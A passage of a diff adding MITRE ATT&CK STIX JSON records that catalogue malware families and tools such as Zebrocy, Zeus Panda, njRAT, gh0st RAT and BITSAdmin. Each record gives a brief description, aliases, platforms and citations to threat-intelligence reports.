"https://attack.mitre.org/software/S0388" + }, + { + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Yahoyah" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Bart Parys" + ], + "created": "2019-06-17T18:49:30.307Z", + "modified": "2019-06-30T22:50:18.494Z", + "labels": [ + "malware" + ] + }, + { + "name": "ZLib", + "description": "[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ZLib" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "created": "2017-05-31T21:32:56.394Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0086", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0086" + }, + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ] + }, + { + "name": "Zebrocy", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", + "id": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0251", + "url": "https://attack.mitre.org/software/S0251" + }, + { + "description": "(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)", + "source_name": "Zebrocy" + }, + { + "description": "(Citation: CyberScoop APT28 Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "source_name": "Zekapab" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "description": "Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019.", + "source_name": "CyberScoop APT28 Nov 2018", + "url": "https://www.cyberscoop.com/apt28-brexit-phishing-accenture/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Zebrocy", + "Zekapab" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Emily Ratliff, IBM" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-07-17T01:18:32.377Z", + "labels": [ + "malware" + ] + }, + { + "name": "ZeroT", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ZeroT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0230", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0230" + }, + { + "description": "(Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)", + "source_name": "ZeroT" + }, + { + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "source_name": "Proofpoint TA459 April 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ] + }, + { + "name": "Zeroaccess", + "description": "[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Zeroaccess", + "Trojan.Zeroaccess" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--552462b9-ae79-49dd-855c-5973014e157f", + "created": "2017-05-31T21:32:20.949Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0027" + }, + { + "description": "Wyke, J. (2012, April). ZeroAccess. Retrieved July 18, 2016.", + "source_name": "Sophos ZeroAccess", + "url": "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + } + ] + }, + { + "name": "Zeus Panda", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)\u2019s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", + "id": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Zeus Panda" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T17:59:43.600Z", + "modified": "2019-04-16T20:55:19.901Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0330", + "url": "https://attack.mitre.org/software/S0330" + }, + { + "description": "(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", + "source_name": "Zeus Panda" + }, + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ] + }, + { + "name": "ZxShell", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 )", + "id": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ZxShell", + "Sensocode" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-09-24T12:59:57.991Z", + "modified": "2019-10-14T22:06:29.019Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0412", + "url": "https://attack.mitre.org/software/S0412" + }, + { + "description": "(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 )", + "source_name": "ZxShell" + }, + { + "description": "(Citation: Talos ZxShell Oct 2014 )", + "source_name": "Sensocode" + }, + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + }, + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ] + }, + { + "name": "adbupd", + "description": "[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)", + "id": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "adbupd" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0202", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0202" + }, + { + "description": "(Citation: Microsoft PLATINUM April 2016)", + "source_name": "adbupd" + }, + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "gh0st RAT", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)", + "id": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "gh0st RAT" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:24.937Z", + "modified": "2019-04-16T20:26:40.711Z", + "external_references": [ + { + "external_id": "S0032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0032" + }, + { + "description": "(Citation: FireEye Hacking Team)(Citation: Nccgroup Gh0st April 2018)", + "source_name": "gh0st RAT" + }, + { + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "source_name": "FireEye Hacking Team", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + }, + { + "source_name": "Arbor Musical Chairs Feb 2018", + "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + }, + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ] + }, + { + "name": "hcdLoader", + "description": "[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "hcdLoader" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "created": "2017-05-31T21:32:46.890Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0071", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0071" + }, + { + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "source_name": "Dell Lateral Movement", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ] + }, + { + "name": "httpclient", + "description": "[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "httpclient" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "created": "2017-05-31T21:32:45.315Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0068", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0068" + }, + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ] + }, + { + "name": "iKitten", + "description": "[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "iKitten", + "OSX/MacDownloader" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0278", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0278" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "iKitten" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "OSX/MacDownloader" + }, + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "name": "jRAT", + "description": "[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)", + "id": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "jRAT", + "JSocket", + "AlienSpy", + "Frutas", + "Sockrat", + "Unrecom", + "jFrutas", + "Adwind", + "jBiFrost", + "Trojan.Maljava" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-06-24T17:20:24.045Z", + "external_references": [ + { + "external_id": "S0283", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0283" + }, + { + "description": "(Citation: jRAT Symantec Aug 2018)", + "source_name": "jRAT" + }, + { + "description": "(Citation: Kaspersky Adwind Feb 2016)", + "source_name": "JSocket" + }, + { + "description": "(Citation: Kaspersky Adwind Feb 2016)", + "source_name": "AlienSpy" + }, + { + "description": "(Citation: Kaspersky Adwind Feb 2016)", + "source_name": "Frutas" + }, + { + "description": "(Citation: Kaspersky Adwind Feb 2016)", + "source_name": "Sockrat" + }, + { + "description": "(Citation: Kaspersky Adwind Feb 2016)", + "source_name": "Unrecom" + }, + { + "description": "(Citation: Kaspersky Adwind Feb 2016)", + "source_name": "jFrutas" + }, + { + "description": "(Citation: Kaspersky Adwind Feb 2016)", + "source_name": "Adwind" + }, + { + "description": "(Citation: NCSC Joint Report Public Tools)", + "source_name": "jBiFrost" + }, + { + "description": "(Citation: jRAT Symantec Aug 2018)", + "source_name": "Trojan.Maljava" + }, + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + }, + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "source_name": "NCSC Joint Report Public Tools", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ] + }, + { + "name": "njRAT", + "description": "[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)", + "id": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "njRAT", + "Njw0rm", + "LV", + "Bladabindi" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-06-04T17:52:28.806Z", + "modified": "2019-06-24T18:57:10.889Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0385", + "url": "https://attack.mitre.org/software/S0385" + }, + { + "description": "Some sources have discussed Njw0rm as a later variant of njRAT, where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of njRAT itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)", + "source_name": "Njw0rm" + }, + { + "description": "(Citation: Fidelis njRAT June 2013)", + "source_name": "LV" + }, + { + "description": "(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)", + "source_name": "Bladabindi" + }, + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + }, + { + "source_name": "FireEye Njw0rm Aug 2013", + "description": "Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved June 4, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html" + }, + { + "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", + "source_name": "Trend Micro njRAT 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + } + ] + }, + { + "name": "pngdowner", + "description": "[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "pngdowner" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "created": "2017-05-31T21:32:44.700Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0067", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0067" + }, + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ] + }, + { + "name": "yty", + "description": "[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)", + "id": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "yty" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-04-25T00:09:22.985Z", + "external_references": [ + { + "external_id": "S0248", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0248" + }, + { + "description": "(Citation: ASERT Donot March 2018)", + "source_name": "yty" + }, + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ] + }, + { + "name": "zwShell", + "description": "[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been used by [Night Dragon](https://attack.mitre.org/groups/G0014).(Citation: McAfee Night Dragon)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "zwShell" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "created": "2019-01-30T17:48:35.006Z", + "modified": "2019-01-30T17:48:35.006Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0350", + "url": "https://attack.mitre.org/software/S0350" + }, + { + "description": "(Citation: McAfee Night Dragon)", + "source_name": "zwShell" + }, + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ] + }, + { + "name": "Arp", + "description": "[Arp](https://attack.mitre.org/software/S0099) displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Arp", + "arp.exe" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--30489451-5886-4c46-90c9-0dff9adc5252", + "created": "2017-05-31T21:33:02.428Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0099", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0099" + }, + { + "description": "Microsoft. (n.d.). Arp. Retrieved April 17, 2016.", + "source_name": "TechNet Arp", + "url": "https://technet.microsoft.com/en-us/library/bb490864.aspx" + } + ] + }, + { + "name": "BITSAdmin", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)", + "id": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "external_references": [ + { + "external_id": "S0190", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0190" + }, + { + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "source_name": "Microsoft BITSAdmin", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BITSAdmin" + ], + "type": "tool", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Edward Millington" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-10-14T16:18:11.202Z", + "labels": [ + "tool" + ] + }, + { + "name": "Cachedump", + "description": "[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system\u2019s registry. (Citation: Mandiant APT1)", + "labels": [ + "tool" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Cachedump" + ], + "type": "tool", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52", + "created": "2017-05-31T21:33:10.197Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0119", + "source_name": "mitre-attack", + "url": 